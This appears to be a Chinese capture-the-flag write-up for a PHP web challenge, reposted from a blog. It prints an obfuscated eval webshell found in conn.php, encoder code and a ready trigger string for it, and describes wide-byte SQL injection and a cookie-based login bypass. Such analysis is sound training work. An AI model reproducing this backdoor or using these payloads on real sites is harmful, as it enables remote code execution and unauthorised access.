• 贵州省网络安全知识竞赛团体赛Writeup-phpweb部分


    0x01 混淆后门#conn.php

    首先还是拖到D盾扫描

    打开conn.php发现底部有那么一串代码:

    对这个代码进行分析

    首先可以对几个比较简单的变量输出看一下

    $s出内容为create_function

    29行可知匿名函数调用$q中的代码,所以我们打印$q的内容看一下

    $q的内容为:

    $k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

    代码格式化以后内容如下:

    发现是通过input传入数据,然后需要满足正则且等于才往下执行。

    需要了解的几个函数:

    ob_start:php 的缓冲输出函数

    gzcompress:压缩函数

    gzuncompress:解压函数

    ob_get_contents:得到缓冲区的数据

    x是一个混淆函数,具体如何混淆的可以不去管。

    我们只要知道19行他给我们进行了base64deco以及解压缩,那么反过来base64encode以及压缩就好了。

    例如我们现在要将phpinfo();加密

    逆向出来代码如下:

    <?php
    $k="5ac91f7d";
    $kh="b9615a29bc1d";
    $kf="24d0b67c2c91";
    $p="9GmIEgwZ7HiEeclS";
    function x($t,$k){
        $c=strlen($k);
        $l=strlen($t);
        $o="";
        for($i=0;$i<$l;){
            for($j=0;($j<$c&&$i<$l);$j++,$i++){
                $o.=$t{$i}^$k{$j};
            }
        }return $o;
    }
    $r=@base64_encode(@x(@gzcompress('phpinfo();'),$k));
    echo $r;

    得到字符串:Tf1I8Rmu+y/+trONN2YioDbg

    最后与$kh、$kf拼接

    得到b9615a29bc1dTf1I8Rmu+y/+trONN2YioDbg24d0b67c2c91

    以此发送post数据包。

    0x03 后台上传后门#up.class.php

    第七行代码可见php也在其上传列表内;

    然后看看那里调用了这个类

    根据目录来看基本都是后台

    复现了一下环境:

    发现上传功能是坏的,所以上传功能应该是不行的。只能通过ueditor的那个编辑器上传,所以这个点只能说是作废;

    0x03 SQL注入#conntent.php

    addslashes函数是可被绕过的,如果当时比赛环境使用的是gbk编码的话是可以通过宽字节注入bypass的,他程序几乎都是使用这个函数的,所以直接搜素addslashes就几乎都是sql注入;

    注入点非常多,我就不一一写出来了,因为这个程序源码挺大的;

    0x04 权限绕过 #checklogin.php

    他这个check也是写的有点搞笑。

    判断$_COOKIE是否为空

    所以只要请求user字段不为空就OK(x-forwarded-for是我平时就喜欢加的,可忽略)

    #php web的基本就是如上漏洞,难点应该就是最初的那个PHP混淆吧,如果要修复直接删除那段木马即可,据我所知,是能够登陆就可以拿到一个flag。自动化的话也是非常简单,写一个脚本requestscookie字段填写user=1然后正则提取flag输出到txt,结合burpsuite自动提交flag

  • 相关阅读:
    PHP操作MYSQL数据库
    微信DLL劫持反弹shell复现
    ERROR Invalid options in vue.config.js: "baseUrl" is not allowed
    求曲线y=lnx在区间(2,6)内的一条切线,使得该切线与直线x=2,x=6及曲线y=lnx所围成的图形的面积最小。
    CentOS、Ubuntu、Debian三个linux比较异同
    jpa模糊查询(表中的某些数据)
    jpa查找数据库最新一条消息
    在@Data注释lombok上使用继承警告等于/ hashCode(Warning equals/hashCode on @Data annotation lombok with inheritance)
    git基本操作
    远程分支git换地址了,本地重新关联
  • 原文地址:https://www.cnblogs.com/nul1/p/11516783.html
Copyright © 2020-2023  润新知